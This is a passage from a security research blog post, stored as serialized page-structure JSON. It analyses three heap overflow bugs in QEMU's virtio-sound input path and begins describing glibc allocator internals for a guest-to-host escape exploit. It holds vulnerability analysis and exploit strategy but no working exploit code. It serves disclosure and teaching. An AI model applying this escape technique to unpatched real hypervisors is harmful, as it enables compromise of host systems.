buffer",{"type":23,"tag":481,"props":122801,"children":122802},{"style":525},[122803],{"type":28,"value":11245},{"type":23,"tag":481,"props":122805,"children":122806},{"style":508},[122807],{"type":28,"value":121792},{"type":23,"tag":481,"props":122809,"children":122810},{"style":525},[122811],{"type":28,"value":1033},{"type":23,"tag":481,"props":122813,"children":122814},{"class":483,"line":6697},[122815,122820,122825,122829,122833,122837,122841,122846,122850],{"type":23,"tag":481,"props":122816,"children":122817},{"style":610},[122818],{"type":28,"value":122819}," MIN",{"type":23,"tag":481,"props":122821,"children":122822},{"style":525},[122823],{"type":28,"value":122824},"(available, (",{"type":23,"tag":481,"props":122826,"children":122827},{"style":508},[122828],{"type":28,"value":33779},{"type":23,"tag":481,"props":122830,"children":122831},{"style":525},[122832],{"type":28,"value":11245},{"type":23,"tag":481,"props":122834,"children":122835},{"style":508},[122836],{"type":28,"value":95814},{"type":23,"tag":481,"props":122838,"children":122839},{"style":525},[122840],{"type":28,"value":199},{"type":23,"tag":481,"props":122842,"children":122843},{"style":508},[122844],{"type":28,"value":122845},"period_bytes",{"type":23,"tag":481,"props":122847,"children":122848},{"style":514},[122849],{"type":28,"value":48781},{"type":23,"tag":481,"props":122851,"children":122852},{"style":488},[122853],{"type":28,"value":122854}," // [3]\n",{"type":23,"tag":481,"props":122856,"children":122857},{"class":483,"line":21008},[122858,122863,122867,122871],{"type":23,"tag":481,"props":122859,"children":122860},{"style":508},[122861],{"type":28,"value":122862}," buffer",{"type":23,"tag":481,"props":122864,"children":122865},{"style":525},[122866],{"type":28,"value":11245},{"type":23,"tag":481,"props":122868,"children":122869},{"style":508},[122870],{"type":28,"value":121792},{"type":23,"tag":481,"props":122872,"children":122873},{"style":525},[122874],{"type":28,"value":122875},")));\n",{"type":23,"tag":481,"props":122877,"children":122878},{"class":483,"line":21043},[122879,122883,122887,122891],{"type":23,"tag":481,"props":122880,"children":122881},{"style":535},[122882],{"type":28,"value":101052},{"type":23,"tag":481,"props":122884,"children":122885},{"style":525},[122886],{"type":28,"value":578},{"type":23,"tag":481,"props":122888,"children":122889},{"style":514},[122890],{"type":28,"value":18119},{"type":23,"tag":481,"props":122892,"children":122893},{"style":525},[122894],{"type":28,"value":122895},"size) {\n",{"type":23,"tag":481,"props":122897,"children":122898},{"class":483,"line":21051},[122899,122904,122908,122912],{"type":23,"tag":481,"props":122900,"children":122901},{"style":525},[122902],{"type":28,"value":122903}," available ",{"type":23,"tag":481,"props":122905,"children":122906},{"style":514},[122907],{"type":28,"value":603},{"type":23,"tag":481,"props":122909,"children":122910},{"style":551},[122911],{"type":28,"value":554},{"type":23,"tag":481,"props":122913,"children":122914},{"style":525},[122915],{"type":28,"value":528},{"type":23,"tag":481,"props":122917,"children":122918},{"class":483,"line":21059},[122919,122923],{"type":23,"tag":481,"props":122920,"children":122921},{"style":535},[122922],{"type":28,"value":122717},{"type":23,"tag":481,"props":122924,"children":122925},{"style":525},[122926],{"type":28,"value":528},{"type":23,"tag":481,"props":122928,"children":122929},{"class":483,"line":21068},[122930],{"type":23,"tag":481,"props":122931,"children":122932},{"style":525},[122933],{"type":28,"value":68601},{"type":23,"tag":481,"props":122935,"children":122936},{"class":483,"line":21110},[122937,122941,122945,122949,122953],{"type":23,"tag":481,"props":122938,"children":122939},{"style":508},[122940],{"type":28,"value":122594},{"type":23,"tag":481,"props":122942,"children":122943},{"style":525},[122944],{"type":28,"value":11245},{"type":23,"tag":481,"props":122946,"children":122947},{"style":508},[122948],{"type":28,"value":121792},{"type":23,"tag":481,"props":122950,"children":122951},{"style":514},[122952],{"type":28,"value":12553},{"type":23,"tag":481,"props":122954,"children":122955},{"style":525},[122956],{"type":28,"value":122134},{"type":23,"tag":481,"props":122958,"children":122959},{"class":483,"line":21143},[122960,122965,122969],{"type":23,"tag":481,"props":122961,"children":122962},{"style":525},[122963],{"type":28,"value":122964}," available ",{"type":23,"tag":481,"props":122966,"children":122967},{"style":514},[122968],{"type":28,"value":101517},{"type":23,"tag":481,"props":122970,"children":122971},{"style":525},[122972],{"type":28,"value":122134},{"type":23,"tag":481,"props":122974,"children":122975},{"class":483,"line":21151},[122976],{"type":23,"tag":481,"props":122977,"children":122978},{"style":525},[122979],{"type":28,"value":122980}," [...]\n",{"type":23,"tag":481,"props":122982,"children":122983},{"class":483,"line":21159},[122984],{"type":23,"tag":481,"props":122985,"children":122986},{"style":525},[122987],{"type":28,"value":56412},{"type":23,"tag":481,"props":122989,"children":122990},{"class":483,"line":21168},[122991],{"type":23,"tag":481,"props":122992,"children":122993},{"style":525},[122994],{"type":28,"value":870},{"type":23,"tag":481,"props":122996,"children":122997},{"class":483,"line":21244},[122998],{"type":23,"tag":481,"props":122999,"children":123000},{"style":525},[123001],{"type":28,"value":879},{"type":23,"tag":481,"props":123003,"children":123004},{"class":483,"line":21277},[123005],{"type":23,"tag":481,"props":123006,"children":123007},{"style":525},[123008],{"type":28,"value":1443},{"type":23,"tag":24,"props":123010,"children":123011},{},[123012,123013,123018,123019,123025,123027,123033,123035,123040,123041,123046,123048,123053],{"type":28,"value":121914},{"type":23,"tag":64,"props":123014,"children":123016},{"className":123015},[],[123017],{"type":28,"value":121920},{"type":28,"value":588},{"type":23,"tag":64,"props":123020,"children":123022},{"className":123021},[],[123023],{"type":28,"value":123024},"max_size",{"type":28,"value":123026}," is set to ",{"type":23,"tag":64,"props":123028,"children":123030},{"className":123029},[],[123031],{"type":28,"value":123032},"iov_size(in_sg, in_num)",{"type":28,"value":123034},". Both ",{"type":23,"tag":64,"props":123036,"children":123038},{"className":123037},[],[123039],{"type":28,"value":121645},{"type":28,"value":8478},{"type":23,"tag":64,"props":123042,"children":123044},{"className":123043},[],[123045],{"type":28,"value":121662},{"type":28,"value":123047}," are the same guest-controlled fields from ",{"type":23,"tag":64,"props":123049,"children":123051},{"className":123050},[],[123052],{"type":28,"value":121297},{"type":28,"value":199},{"type":23,"tag":24,"props":123055,"children":123056},{},[123057,123059,123064,123066,123072,123074,123080,123082,123088],{"type":28,"value":123058},"Later, at ",{"type":23,"tag":64,"props":123060,"children":123062},{"className":123061},[],[123063],{"type":28,"value":121955},{"type":28,"value":123065},", the code checks whether ",{"type":23,"tag":64,"props":123067,"children":123069},{"className":123068},[],[123070],{"type":28,"value":123071},"buffer->size >= max_size",{"type":28,"value":123073},". In the RX path, ",{"type":23,"tag":64,"props":123075,"children":123077},{"className":123076},[],[123078],{"type":28,"value":123079},"buffer->size",{"type":28,"value":123081}," tracks how many bytes have been written into ",{"type":23,"tag":64,"props":123083,"children":123085},{"className":123084},[],[123086],{"type":28,"value":123087},"buffer->data",{"type":28,"value":123089},", not the size of the allocation itself. This check is therefore intended to stop reading once the buffer is full.",{"type":23,"tag":24,"props":123091,"children":123092},{},[123093,123095,123100,123102,123108,123110,123115,123117,123123],{"type":28,"value":123094},"However, this does not match the allocation logic in ",{"type":23,"tag":64,"props":123096,"children":123098},{"className":123097},[],[123099],{"type":28,"value":121297},{"type":28,"value":123101},", which used: ",{"type":23,"tag":64,"props":123103,"children":123105},{"className":123104},[],[123106],{"type":28,"value":123107},"size = iov_size(elem->in_sg, elem->in_num) - sizeof(virtio_snd_pcm_status);",{"type":28,"value":123109},". In other words, the allocation subtracts ",{"type":23,"tag":64,"props":123111,"children":123113},{"className":123112},[],[123114],{"type":28,"value":122021},{"type":28,"value":123116},", but the later bound in ",{"type":23,"tag":64,"props":123118,"children":123120},{"className":123119},[],[123121],{"type":28,"value":123122},"virtio_snd_pcm_in_cb",{"type":28,"value":123124}," does not. That mismatch gives us a second bug: an 8-byte OOB write.",{"type":23,"tag":24,"props":123126,"children":123127},{},[123128,123130,123135,123137,123143,123145,123151,123153,123158,123160,123166,123168,123174,123176,123181,123183,123188],{"type":28,"value":123129},"Finally, at ",{"type":23,"tag":64,"props":123131,"children":123133},{"className":123132},[],[123134],{"type":28,"value":121979},{"type":28,"value":123136},", the code calls ",{"type":23,"tag":64,"props":123138,"children":123140},{"className":123139},[],[123141],{"type":28,"value":123142},"AUD_read",{"type":28,"value":123144}," with the following limit:\n",{"type":23,"tag":64,"props":123146,"children":123148},{"className":123147},[],[123149],{"type":28,"value":123150},"MIN(available, stream->params.period_bytes - buffer->size)",{"type":28,"value":123152},". Notice how this bound does not take ",{"type":23,"tag":64,"props":123154,"children":123156},{"className":123155},[],[123157],{"type":28,"value":123024},{"type":28,"value":123159}," into account at all. That means if ",{"type":23,"tag":64,"props":123161,"children":123163},{"className":123162},[],[123164],{"type":28,"value":123165},"available",{"type":28,"value":123167}," is larger than the allocated buffer, and ",{"type":23,"tag":64,"props":123169,"children":123171},{"className":123170},[],[123172],{"type":28,"value":123173},"stream->params.period_bytes",{"type":28,"value":123175}," is also larger than the allocated buffer, ",{"type":23,"tag":64,"props":123177,"children":123179},{"className":123178},[],[123180],{"type":28,"value":123142},{"type":28,"value":123182}," will write past the end of ",{"type":23,"tag":64,"props":123184,"children":123186},{"className":123185},[],[123187],{"type":28,"value":123087},{"type":28,"value":123189}," - the third, and final, bug we found.",{"type":23,"tag":24,"props":123191,"children":123192},{},[123193,123195,123200,123202,123208],{"type":28,"value":123194},"Looking further at the code, we can see that ",{"type":23,"tag":64,"props":123196,"children":123198},{"className":123197},[],[123199],{"type":28,"value":123173},{"type":28,"value":123201}," is fully guest-controlled by issuing a ",{"type":23,"tag":64,"props":123203,"children":123205},{"className":123204},[],[123206],{"type":28,"value":123207},"VIRTIO_SND_R_PCM_SET_PARAMS",{"type":28,"value":123209}," request:",{"type":23,"tag":435,"props":123211,"children":123213},{"code":123212,"language":661,"meta":7,"className":14005,"style":7},"static\nuint32_t virtio_snd_set_pcm_params(VirtIOSound *s,\n uint32_t stream_id,\n virtio_snd_pcm_set_params *params)\n{\n virtio_snd_pcm_set_params *st_params;\n\n [...]\n\n st_params = virtio_snd_pcm_get_params(s, stream_id);\n\n [...]\n\n st_params->buffer_bytes = le32_to_cpu(params->buffer_bytes);\n st_params->period_bytes = le32_to_cpu(params->period_bytes);\n st_params->features = le32_to_cpu(params->features);\n /* the following are uint8_t, so there's no need to bswap the values. */\n st_params->channels = params->channels;\n st_params->format = params->format;\n st_params->rate = params->rate;\n\n return cpu_to_le32(VIRTIO_SND_S_OK);\n}\n",[123214],{"type":23,"tag":64,"props":123215,"children":123216},{"__ignoreMap":7},[123217,123225,123254,123271,123291,123298,123315,123322,123329,123336,123358,123365,123372,123379,123425,123468,123512,123520,123557,123593,123629,123636,123653],{"type":23,"tag":481,"props":123218,"children":123219},{"class":483,"line":484},[123220],{"type":23,"tag":481,"props":123221,"children":123222},{"style":497},[123223],{"type":28,"value":123224},"static\n",{"type":23,"tag":481,"props":123226,"children":123227},{"class":483,"line":351},[123228,123232,123237,123242,123246,123250],{"type":23,"tag":481,"props":123229,"children":123230},{"style":497},[123231],{"type":28,"value":55460},{"type":23,"tag":481,"props":123233,"children":123234},{"style":610},[123235],{"type":28,"value":123236}," virtio_snd_set_pcm_params",{"type":23,"tag":481,"props":123238,"children":123239},{"style":525},[123240],{"type":28,"value":123241},"(VirtIOSound ",{"type":23,"tag":481,"props":123243,"children":123244},{"style":514},[123245],{"type":28,"value":2120},{"type":23,"tag":481,"props":123247,"children":123248},{"style":508},[123249],{"type":28,"value":8137},{"type":23,"tag":481,"props":123251,"children":123252},{"style":525},[123253],{"type":28,"value":1033},{"type":23,"tag":481,"props":123255,"children":123256},{"class":483,"line":531},[123257,123262,123267],{"type":23,"tag":481,"props":123258,"children":123259},{"style":497},[123260],{"type":28,"value":123261}," uint32_t",{"type":23,"tag":481,"props":123263,"children":123264},{"style":508},[123265],{"type":28,"value":123266}," stream_id",{"type":23,"tag":481,"props":123268,"children":123269},{"style":525},[123270],{"type":28,"value":1033},{"type":23,"tag":481,"props":123272,"children":123273},{"class":483,"line":567},[123274,123279,123283,123287],{"type":23,"tag":481,"props":123275,"children":123276},{"style":525},[123277],{"type":28,"value":123278}," virtio_snd_pcm_set_params ",{"type":23,"tag":481,"props":123280,"children":123281},{"style":514},[123282],{"type":28,"value":2120},{"type":23,"tag":481,"props":123284,"children":123285},{"style":508},[123286],{"type":28,"value":95814},{"type":23,"tag":481,"props":123288,"children":123289},{"style":525},[123290],{"type":28,"value":675},{"type":23,"tag":481,"props":123292,"children":123293},{"class":483,"line":678},[123294],{"type":23,"tag":481,"props":123295,"children":123296},{"style":525},[123297],{"type":28,"value":8366},{"type":23,"tag":481,"props":123299,"children":123300},{"class":483,"line":784},[123301,123306,123310],{"type":23,"tag":481,"props":123302,"children":123303},{"style":525},[123304],{"type":28,"value":123305}," virtio_snd_pcm_set_params ",{"type":23,"tag":481,"props":123307,"children":123308},{"style":514},[123309],{"type":28,"value":2120},{"type":23,"tag":481,"props":123311,"children":123312},{"style":525},[123313],{"type":28,"value":123314},"st_params;\n",{"type":23,"tag":481,"props":123316,"children":123317},{"class":483,"line":812},[123318],{"type":23,"tag":481,"props":123319,"children":123320},{"emptyLinePlaceholder":15},[123321],{"type":28,"value":1210},{"type":23,"tag":481,"props":123323,"children":123324},{"class":483,"line":825},[123325],{"type":23,"tag":481,"props":123326,"children":123327},{"style":525},[123328],{"type":28,"value":102333},{"type":23,"tag":481,"props":123330,"children":123331},{"class":483,"line":843},[123332],{"type":23,"tag":481,"props":123333,"children":123334},{"emptyLinePlaceholder":15},[123335],{"type":28,"value":1210},{"type":23,"tag":481,"props":123337,"children":123338},{"class":483,"line":864},[123339,123344,123348,123353],{"type":23,"tag":481,"props":123340,"children":123341},{"style":525},[123342],{"type":28,"value":123343}," st_params ",{"type":23,"tag":481,"props":123345,"children":123346},{"style":514},[123347],{"type":28,"value":603},{"type":23,"tag":481,"props":123349,"children":123350},{"style":610},[123351],{"type":28,"value":123352}," virtio_snd_pcm_get_params",{"type":23,"tag":481,"props":123354,"children":123355},{"style":525},[123356],{"type":28,"value":123357},"(s, stream_id);\n",{"type":23,"tag":481,"props":123359,"children":123360},{"class":483,"line":873},[123361],{"type":23,"tag":481,"props":123362,"children":123363},{"emptyLinePlaceholder":15},[123364],{"type":28,"value":1210},{"type":23,"tag":481,"props":123366,"children":123367},{"class":483,"line":1125},[123368],{"type":23,"tag":481,"props":123369,"children":123370},{"style":525},[123371],{"type":28,"value":102333},{"type":23,"tag":481,"props":123373,"children":123374},{"class":483,"line":1142},[123375],{"type":23,"tag":481,"props":123376,"children":123377},{"emptyLinePlaceholder":15},[123378],{"type":28,"value":1210},{"type":23,"tag":481,"props":123380,"children":123381},{"class":483,"line":1159},[123382,123387,123391,123396,123400,123405,123409,123413,123417,123421],{"type":23,"tag":481,"props":123383,"children":123384},{"style":508},[123385],{"type":28,"value":123386}," st_params",{"type":23,"tag":481,"props":123388,"children":123389},{"style":525},[123390],{"type":28,"value":11245},{"type":23,"tag":481,"props":123392,"children":123393},{"style":508},[123394],{"type":28,"value":123395},"buffer_bytes",{"type":23,"tag":481,"props":123397,"children":123398},{"style":514},[123399],{"type":28,"value":517},{"type":23,"tag":481,"props":123401,"children":123402},{"style":610},[123403],{"type":28,"value":123404}," le32_to_cpu",{"type":23,"tag":481,"props":123406,"children":123407},{"style":525},[123408],{"type":28,"value":618},{"type":23,"tag":481,"props":123410,"children":123411},{"style":508},[123412],{"type":28,"value":95814},{"type":23,"tag":481,"props":123414,"children":123415},{"style":525},[123416],{"type":28,"value":11245},{"type":23,"tag":481,"props":123418,"children":123419},{"style":508},[123420],{"type":28,"value":123395},{"type":23,"tag":481,"props":123422,"children":123423},{"style":525},[123424],{"type":28,"value":1366},{"type":23,"tag":481,"props":123426,"children":123427},{"class":483,"line":1172},[123428,123432,123436,123440,123444,123448,123452,123456,123460,123464],{"type":23,"tag":481,"props":123429,"children":123430},{"style":508},[123431],{"type":28,"value":123386},{"type":23,"tag":481,"props":123433,"children":123434},{"style":525},[123435],{"type":28,"value":11245},{"type":23,"tag":481,"props":123437,"children":123438},{"style":508},[123439],{"type":28,"value":122845},{"type":23,"tag":481,"props":123441,"children":123442},{"style":514},[123443],{"type":28,"value":517},{"type":23,"tag":481,"props":123445,"children":123446},{"style":610},[123447],{"type":28,"value":123404},{"type":23,"tag":481,"props":123449,"children":123450},{"style":525},[123451],{"type":28,"value":618},{"type":23,"tag":481,"props":123453,"children":123454},{"style":508},[123455],{"type":28,"value":95814},{"type":23,"tag":481,"props":123457,"children":123458},{"style":525},[123459],{"type":28,"value":11245},{"type":23,"tag":481,"props":123461,"children":123462},{"style":508},[123463],{"type":28,"value":122845},{"type":23,"tag":481,"props":123465,"children":123466},{"style":525},[123467],{"type":28,"value":1366},{"type":23,"tag":481,"props":123469,"children":123470},{"class":483,"line":1181},[123471,123475,123479,123484,123488,123492,123496,123500,123504,123508],{"type":23,"tag":481,"props":123472,"children":123473},{"style":508},[123474],{"type":28,"value":123386},{"type":23,"tag":481,"props":123476,"children":123477},{"style":525},[123478],{"type":28,"value":11245},{"type":23,"tag":481,"props":123480,"children":123481},{"style":508},[123482],{"type":28,"value":123483},"features",{"type":23,"tag":481,"props":123485,"children":123486},{"style":514},[123487],{"type":28,"value":517},{"type":23,"tag":481,"props":123489,"children":123490},{"style":610},[123491],{"type":28,"value":123404},{"type":23,"tag":481,"props":123493,"children":123494},{"style":525},[123495],{"type":28,"value":618},{"type":23,"tag":481,"props":123497,"children":123498},{"style":508},[123499],{"type":28,"value":95814},{"type":23,"tag":481,"props":123501,"children":123502},{"style":525},[123503],{"type":28,"value":11245},{"type":23,"tag":481,"props":123505,"children":123506},{"style":508},[123507],{"type":28,"value":123483},{"type":23,"tag":481,"props":123509,"children":123510},{"style":525},[123511],{"type":28,"value":1366},{"type":23,"tag":481,"props":123513,"children":123514},{"class":483,"line":1204},[123515],{"type":23,"tag":481,"props":123516,"children":123517},{"style":488},[123518],{"type":28,"value":123519}," /* the following are uint8_t, so there's no need to bswap the values. */\n",{"type":23,"tag":481,"props":123521,"children":123522},{"class":483,"line":1213},[123523,123527,123531,123536,123540,123545,123549,123553],{"type":23,"tag":481,"props":123524,"children":123525},{"style":508},[123526],{"type":28,"value":123386},{"type":23,"tag":481,"props":123528,"children":123529},{"style":525},[123530],{"type":28,"value":11245},{"type":23,"tag":481,"props":123532,"children":123533},{"style":508},[123534],{"type":28,"value":123535},"channels",{"type":23,"tag":481,"props":123537,"children":123538},{"style":514},[123539],{"type":28,"value":517},{"type":23,"tag":481,"props":123541,"children":123542},{"style":508},[123543],{"type":28,"value":123544}," params",{"type":23,"tag":481,"props":123546,"children":123547},{"style":525},[123548],{"type":28,"value":11245},{"type":23,"tag":481,"props":123550,"children":123551},{"style":508},[123552],{"type":28,"value":123535},{"type":23,"tag":481,"props":123554,"children":123555},{"style":525},[123556],{"type":28,"value":528},{"type":23,"tag":481,"props":123558,"children":123559},{"class":483,"line":1222},[123560,123564,123568,123573,123577,123581,123585,123589],{"type":23,"tag":481,"props":123561,"children":123562},{"style":508},[123563],{"type":28,"value":123386},{"type":23,"tag":481,"props":123565,"children":123566},{"style":525},[123567],{"type":28,"value":11245},{"type":23,"tag":481,"props":123569,"children":123570},{"style":508},[123571],{"type":28,"value":123572},"format",{"type":23,"tag":481,"props":123574,"children":123575},{"style":514},[123576],{"type":28,"value":517},{"type":23,"tag":481,"props":123578,"children":123579},{"style":508},[123580],{"type":28,"value":123544},{"type":23,"tag":481,"props":123582,"children":123583},{"style":525},[123584],{"type":28,"value":11245},{"type":23,"tag":481,"props":123586,"children":123587},{"style":508},[123588],{"type":28,"value":123572},{"type":23,"tag":481,"props":123590,"children":123591},{"style":525},[123592],{"type":28,"value":528},{"type":23,"tag":481,"props":123594,"children":123595},{"class":483,"line":1291},[123596,123600,123604,123609,123613,123617,123621,123625],{"type":23,"tag":481,"props":123597,"children":123598},{"style":508},[123599],{"type":28,"value":123386},{"type":23,"tag":481,"props":123601,"children":123602},{"style":525},[123603],{"type":28,"value":11245},{"type":23,"tag":481,"props":123605,"children":123606},{"style":508},[123607],{"type":28,"value":123608},"rate",{"type":23,"tag":481,"props":123610,"children":123611},{"style":514},[123612],{"type":28,"value":517},{"type":23,"tag":481,"props":123614,"children":123615},{"style":508},[123616],{"type":28,"value":123544},{"type":23,"tag":481,"props":123618,"children":123619},{"style":525},[123620],{"type":28,"value":11245},{"type":23,"tag":481,"props":123622,"children":123623},{"style":508},[123624],{"type":28,"value":123608},{"type":23,"tag":481,"props":123626,"children":123627},{"style":525},[123628],{"type":28,"value":528},{"type":23,"tag":481,"props":123630,"children":123631},{"class":483,"line":1299},[123632],{"type":23,"tag":481,"props":123633,"children":123634},{"emptyLinePlaceholder":15},[123635],{"type":28,"value":1210},{"type":23,"tag":481,"props":123637,"children":123638},{"class":483,"line":1329},[123639,123643,123648],{"type":23,"tag":481,"props":123640,"children":123641},{"style":535},[123642],{"type":28,"value":14481},{"type":23,"tag":481,"props":123644,"children":123645},{"style":610},[123646],{"type":28,"value":123647}," cpu_to_le32",{"type":23,"tag":481,"props":123649,"children":123650},{"style":525},[123651],{"type":28,"value":123652},"(VIRTIO_SND_S_OK);\n",{"type":23,"tag":481,"props":123654,"children":123655},{"class":483,"line":1337},[123656],{"type":23,"tag":481,"props":123657,"children":123658},{"style":525},[123659],{"type":28,"value":1443},{"type":23,"tag":24,"props":123661,"children":123662},{},[123663,123665,123670,123672,123678,123680,123685,123687,123692,123694,123700,123701,123706],{"type":28,"value":123664},"Among the guest-controlled PCM parameters, format matters later for exploit reliability. For 8-bit PCM, QEMU accepts both unsigned (",{"type":23,"tag":64,"props":123666,"children":123668},{"className":123667},[],[123669],{"type":28,"value":946},{"type":28,"value":123671},") and signed (",{"type":23,"tag":64,"props":123673,"children":123675},{"className":123674},[],[123676],{"type":28,"value":123677},"s8",{"type":28,"value":123679},") samples. They encode the same waveform differently - silence is ",{"type":23,"tag":64,"props":123681,"children":123683},{"className":123682},[],[123684],{"type":28,"value":26953},{"type":28,"value":123686}," in ",{"type":23,"tag":64,"props":123688,"children":123690},{"className":123689},[],[123691],{"type":28,"value":946},{"type":28,"value":123693},", but ",{"type":23,"tag":64,"props":123695,"children":123697},{"className":123696},[],[123698],{"type":28,"value":123699},"0x00",{"type":28,"value":123686},{"type":23,"tag":64,"props":123702,"children":123704},{"className":123703},[],[123705],{"type":28,"value":123677},{"type":28,"value":199},{"type":23,"tag":16288,"props":123708,"children":123709},{},[],{"type":23,"tag":24,"props":123711,"children":123712},{},[123713],{"type":28,"value":123714},"To summarize:",{"type":23,"tag":73,"props":123716,"children":123717},{},[123718,123737,123755],{"type":23,"tag":77,"props":123719,"children":123720},{},[123721,123723,123728,123730,123735],{"type":28,"value":123722},"an integer underflow in the ",{"type":23,"tag":64,"props":123724,"children":123726},{"className":123725},[],[123727],{"type":28,"value":121792},{"type":28,"value":123729}," calculation in ",{"type":23,"tag":64,"props":123731,"children":123733},{"className":123732},[],[123734],{"type":28,"value":121297},{"type":28,"value":123736},", resulting in an 8-byte (or less) under-allocation",{"type":23,"tag":77,"props":123738,"children":123739},{},[123740,123742,123747,123748,123753],{"type":28,"value":123741},"a mismatch in the ",{"type":23,"tag":64,"props":123743,"children":123745},{"className":123744},[],[123746],{"type":28,"value":123024},{"type":28,"value":123729},{"type":23,"tag":64,"props":123749,"children":123751},{"className":123750},[],[123752],{"type":28,"value":123122},{"type":28,"value":123754},", leading to at most 8-byte OOB write",{"type":23,"tag":77,"props":123756,"children":123757},{},[123758,123760,123765,123767,123772,123774,123779],{"type":28,"value":123759},"a missing bound in the ",{"type":23,"tag":64,"props":123761,"children":123763},{"className":123762},[],[123764],{"type":28,"value":121792},{"type":28,"value":123766}," passed to ",{"type":23,"tag":64,"props":123768,"children":123770},{"className":123769},[],[123771],{"type":28,"value":123142},{"type":28,"value":123773},", which does not take the actual buffer allocation size into account and can therefore lead to an OOB write of an arbitrary length, up to ",{"type":23,"tag":64,"props":123775,"children":123777},{"className":123776},[],[123778],{"type":28,"value":123165},{"type":28,"value":79821},{"type":23,"tag":24,"props":123781,"children":123782},{},[123783,123785,123790,123792,123797,123799,123805],{"type":28,"value":123784},"In our exploit, we focus on the third bug because it provides the largest overflow and therefore the most useful primitive. In practice, the actual write is still bounded by ",{"type":23,"tag":64,"props":123786,"children":123788},{"className":123787},[],[123789],{"type":28,"value":123165},{"type":28,"value":123791},", but in our setup with the ALSA backend, ",{"type":23,"tag":64,"props":123793,"children":123795},{"className":123794},[],[123796],{"type":28,"value":123165},{"type":28,"value":123798}," was consistently around ",{"type":23,"tag":64,"props":123800,"children":123802},{"className":123801},[],[123803],{"type":28,"value":123804},"4096",{"type":28,"value":199},{"type":23,"tag":24,"props":123807,"children":123808},{},[123809,123811,123818,123819,123826],{"type":28,"value":123810},"It is also worth noting that the timing here was particularly unlucky - these bugs had been present in QEMU for over two years, but they were fixed (",{"type":23,"tag":190,"props":123812,"children":123815},{"href":123813,"rel":123814},"https://github.com/qemu/qemu/commit/bcb53328aa70023f1405fade4e253e7f77567261",[194],[123816],{"type":28,"value":123817},"commit 1",{"type":28,"value":588},{"type":23,"tag":190,"props":123820,"children":123823},{"href":123821,"rel":123822},"https://github.com/qemu/qemu/commit/7994203bb1b83a6604f3ab00fe9598909bb66164",[194],[123824],{"type":28,"value":123825},"commit 2",{"type":28,"value":123827},") in the very same week that we independently found them while manually reviewing the code.",{"type":23,"tag":31,"props":123829,"children":123830},{"id":97640},[123831],{"type":28,"value":97643},{"type":23,"tag":24,"props":123833,"children":123834},{},[123835],{"type":28,"value":123836},"Each of these bugs is in the audio input path. Since that audio input comes from the host side, the bytes written out of bounds are not controlled by the guest and, from the exploit perspective, can be treated as effectively random.",{"type":23,"tag":24,"props":123838,"children":123839},{},[123840],{"type":28,"value":123841},"This gives an interesting challenge: how do you exploit an out-of-bounds write when you do not control the data being written?",{"type":23,"tag":7092,"props":123843,"children":123845},{"id":123844},"achieving-a-better-primitive",[123846],{"type":28,"value":123847},"Achieving a Better Primitive",{"type":23,"tag":24,"props":123849,"children":123850},{},[123851],{"type":28,"value":123852},"The first idea that comes to mind is to target some kind of size or offset field. The goal is to make that field as small as possible initially, trigger the overflow, and rely on the corrupted bytes being larger than the original value. Such scenario would transform a weak primitive into a much more useful one, giving us a better starting point for the rest of the exploit.",{"type":23,"tag":24,"props":123854,"children":123855},{},[123856],{"type":28,"value":123857},"However, after searching QEMU for such objects we didn't find a suitable target. The main problem was that, in most cases, the field we wanted to corrupt was preceded by one or more pointers. That would have been acceptable if those pointers were unused, but in every candidate object we examined they were still live. As a result, the heap overflow would corrupt them with effectively random bytes, causing an invalid dereference and crashing QEMU before we could achieve our desired guest-to-host escape.",{"type":23,"tag":24,"props":123859,"children":123860},{},[123861],{"type":28,"value":123862},"At that point, we turned our attention to the glibc allocator. This is usually not the first choice in such targets - allocator techniques are often more version-specific and less portable than program-specific primitives (for example, type confusion on known object layouts). So allocator attacks are often a fallback once object-level paths are exhausted.",{"type":23,"tag":16388,"props":123864,"children":123866},{"id":123865},"glibc-allocator",[123867],{"type":28,"value":123868},"Glibc Allocator",{"type":23,"tag":24,"props":123870,"children":123871},{},[123872,123874,123881],{"type":28,"value":123873},"The glibc allocator has already been studied and documented extensively, so we will only cover the basics relevant to this exploit. A good resource for both current and older attack techniques is ",{"type":23,"tag":190,"props":123875,"children":123878},{"href":123876,"rel":123877},"https://github.com/shellphish/how2heap",[194],[123879],{"type":28,"value":123880},"how2heap",{"type":28,"value":199},{"type":23,"tag":34864,"props":123883,"children":123885},{"id":123884},"chunk-layout-and-bins",[123886],{"type":28,"value":123887},"Chunk Layout and Bins",{"type":23,"tag":24,"props":123889,"children":123890},{},[123891],{"type":28,"value":123892},"A chunk looks like this:",{"type":23,"tag":435,"props":123894,"children":123896},{"code":123895}," +0x0 +0x8\n +-------------+-------------+\n | prev_size | size |\n +---------------------------+\n+0x10 | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | . . . |\n",[123897],{"type":23,"tag":64,"props":123898,"children":123899},{"__ignoreMap":7},[123900],{"type":28,"value":123895},{"type":23,"tag":24,"props":123902,"children":123903},{},[123904,123906,123912,123914,123920,123921,123926,123927,123933,123935,123940,123942,123947,123949,123955,123956,123962,123964,123970],{"type":28,"value":123905},"The first 16 bytes form the chunk header. It consists of the ",{"type":23,"tag":64,"props":123907,"children":123909},{"className":123908},[],[123910],{"type":28,"value":123911},"prev_size",{"type":28,"value":123913}," field at offset ",{"type":23,"tag":64,"props":123915,"children":123917},{"className":123916},[],[123918],{"type":28,"value":123919},"0x0",{"type":28,"value":35068},{"type":23,"tag":64,"props":123922,"children":123924},{"className":123923},[],[123925],{"type":28,"value":121792},{"type":28,"value":123913},{"type":23,"tag":64,"props":123928,"children":123930},{"className":123929},[],[123931],{"type":28,"value":123932},"0x8",{"type":28,"value":123934},". As the name suggests, ",{"type":23,"tag":64,"props":123936,"children":123938},{"className":123937},[],[123939],{"type":28,"value":123911},{"type":28,"value":123941}," stores the size of the previous chunk and is only used when that chunk is free, while ",{"type":23,"tag":64,"props":123943,"children":123945},{"className":123944},[],[123946],{"type":28,"value":121792},{"type":28,"value":123948}," stores the size of the current chunk and three special bits of which ",{"type":23,"tag":64,"props":123950,"children":123952},{"className":123951},[],[123953],{"type":28,"value":123954},"PREV_INUSE",{"type":28,"value":8478},{"type":23,"tag":64,"props":123957,"children":123959},{"className":123958},[],[123960],{"type":28,"value":123961},"IS_MMAPPED",{"type":28,"value":123963}," are relevant for this blog post. The actual chunk data begins at offset ",{"type":23,"tag":64,"props":123965,"children":123967},{"className":123966},[],[123968],{"type":28,"value":123969},"0x10",{"type":28,"value":199},{"type":23,"tag":24,"props":123972,"children":123973},{},[123974],{"type":28,"value":123975},"Freed chunks are organized into different bins depending on their size and state. For this writeup, the important one is the per-thread 